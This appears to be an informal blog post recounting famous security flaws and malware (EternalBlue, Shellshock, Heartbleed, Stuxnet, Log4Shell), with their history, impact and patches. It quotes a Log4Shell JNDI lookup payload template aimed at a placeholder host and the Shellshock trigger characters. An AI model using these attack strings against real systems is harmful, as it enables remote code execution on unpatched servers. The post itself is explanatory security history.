7 minutes
Vulnerabilities and Exploits
I hope you Googled both concepts already because I won’t define them or give you the differences between them. I consider you know what vulnerabilities and exploits are, so I will just talk about my “favorite” ones. I wanna talk about my favorite cybersecurity mistakes, bugs vulnerabilities, payloads, viruses, data breaches…The best epic fails, biggest wins or just some funny stuff from cybersecurity history.
Blue
(CVE-2017-0144)
Do you know EternalBlue? I love everything about this vulnerability/exploit (there is some ambiguity in the name). How it led to the WannaCry fiasco, how it is actually easy to use, and how it made microsoft look bad for a moment. 2017 was so wild! The exploit was developed by NSA and leaked by “the shadow brokers” hacking group in 2017. EternalBlue is actually a high/critical Arbitrary code execution vulnerability in Microsoft SMBv1 server (windows XP, Server 2008 and even windows 10) that usually run on port 445 (samba). To understand more how it works you can check here. There is a family of similar names given to payloads used (EternalChampion, EternalSynergy, EternalRomance…). Microsoft released a security patch (MS17-010) to fix it but people didn’t care much before their data got involved (wanna cry?). Then microsoft said: “f*ck ’em! we gonna force them to update the whole OS”, then released a fix for all their old windows versions. The damage caused by this vulnerability is mostly due to it’s exploitation by ransomWares (wannaCry, adylkuzz, notPetya…). According to Avast wannaCry spread at a rate of 10,000 devices per hour, infecting over 230,000 Windows PCs across 150 countries in a single day. Estimates put the cost of notPetya at over $10 billion in damages and WannaCry at around $4 billion in damages. We can all agree this one was huge! And if you think We are done with eternalblue well you’re wrong. The incident is mostly mitigated but the menace is still there. You better have a decent antivirus and keep your OS up to date.
“Like a turtle in a hurricane”
(CVE-2014-6271)
ShellShock aka bashdoor, it’s Also a family of epic vulnerabilities. This time we go back to 2014, and the victim this time is good ol’ BASH itself. It was discovered by the security researcher Stephane Chazelas at Akamai firm. It’s a critical Arbitrary code execution bug that affects GNU Bash versions from 1.14 to 4.3 (Unix, so Linux and MacOS mostly). Once again it is ridiculously easy to exploit thus very dangerous. Basically if characters like "{:;};” are included as function definition any code inserted at the end of that definition is processed. In even simpler words, if any special characters are added on a few shell commands at the end of that definition those commands are executed. You can learn more here. Within an hour of the announcement of the vulnerability, there were reports of machines being compromised by it. By September 2014, botnets based on computers compromised with exploits based on the bug were used in denial-of-service (DDoS) attacks and vulnerability scanning. Billion of devices around the world were suspected to be affected. Multiples patches have been released to fix the bug. Note that this bug was unnoticed for 25 years. Now go update all your firmware and OS and install those annoying security updates.
“Does it have a pulse?”
(CVE-2014-0160)
First of all, the name HeartBleed is cool AF! This bug was compared to shellshock because of it’s severity, but actually there are many differences. According to Wikipedia this one affects the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014 by security engineers. Heartbleed could be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It resulted from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension. Thus, the bug’s name derived from heartbeat. The vulnerability was classified as a buffer over-read, a situation where more data can be read than should be allowed. A fix was available the same day of disclosure (7 April 2014), but according to Shodan nearly 180,000 internet-connected devices were still vulnerable in July 2017. The data obtained by a Heartbleed attack may include unencrypted exchanges between TLS parties likely to be confidential, including any form post data in users’ requests. Moreover, the confidential data exposed could include authentication secrets such as session cookies and passwords, which might allow attackers to impersonate a user of the service. OpenSSL 1.0.1g has been released to address this vulnerability. Any keys generated with a vulnerable version of OpenSSL should be considered compromised and regenerated and deployed after the patch has been applied. US-CERT recommends system administrators consider implementing “Perfect Forward Secrecy” to mitigate the damage that may be caused by future private key disclosures.
“Countdown to zero day”
This one is a “virus” (ITS A WORM) called stuxnet. Wikipedia said that Stuxnet is a malicious computer worm first uncovered in 2010 and thought to have been in development since at least 2005. Stuxnet targets supervisory control and data acquisition (SCADA) systems and is believed to be responsible for causing substantial damage to the nuclear program of Iran. The worm is widely understood to be a cyberWeapon built jointly by the United States and Israel in a collaborative effort known as Operation Olympic Games. Now I am not very interested in the “politics” parts, so basically Stuxnet has three modules: a worm that executes all routines related to the main payload of the attack, a link file that automatically executes the propagated copies of the worm, and a rootkit component responsible for hiding all malicious files and processes, to prevent detection of Stuxnet. It is typically introduced to the target environment via an infected USB flash drive, thus crossing any air gap. The worm then propagates across the network, scanning for Siemens Step7 software on computers controlling a PLC. In the absence of either criterion, Stuxnet becomes dormant inside the computer. If both the conditions are fulfilled, Stuxnet introduces the infected rootkit onto the PLC and Step7 software, modifying the code and giving unexpected commands to the PLC while returning a loop of normal operation system values back to the users. This one was able to cause not only software infection but actual PHYSICAL damage too. There are many similar malware related to stuxnet (Duqu, Flame, Petya…), and stuxnet is also present in pop culture with many books, movies, videogames… about it. You can trust any decent antivirus to protect you today, but keep in mind that stuxnet is still alive!
"${jndi:ldap://ip:p/pld}"
(CVE-2021-44228)
Log4Shell is a critical arbitrary code execution vulnerability in Log4j, a popular Java logging framework. The vulnerability had existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation on 24 November 2021. Before an official CVE identifier was made available on December 10th, 2021, the vulnerability circulated by the name “Log4Shell”. Apache gave Log4Shell a CVSS severity rating of 10, the highest available score. The exploit is simple to execute and is estimated to affect hundreds of millions of devices. The vulnerability takes advantage of Log4j’s allowing requests to arbitrary LDAP and JNDI servers, allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information. Amazon Web Services,Cloudflare, iCloud, Minecraft: Java Edition,Steam, Tencent QQ and many others were affected. The vulnerability’s disclosure received strong reactions from cybersecurity experts. Cybersecurity company Tenable said the exploit was “the single biggest, most critical vulnerability ever”, Ars Technica called it “arguably the most severe vulnerability ever” and The Washington Post said that descriptions by security professionals “border on the apocalyptic”. Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1. The fix included restricting the servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups. Two more vulnerabilities in the library were found. Also several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages.
Others
There are too many I discovered during my journey, and still discovering, so here are those I also like but could not talk about:
I might add more later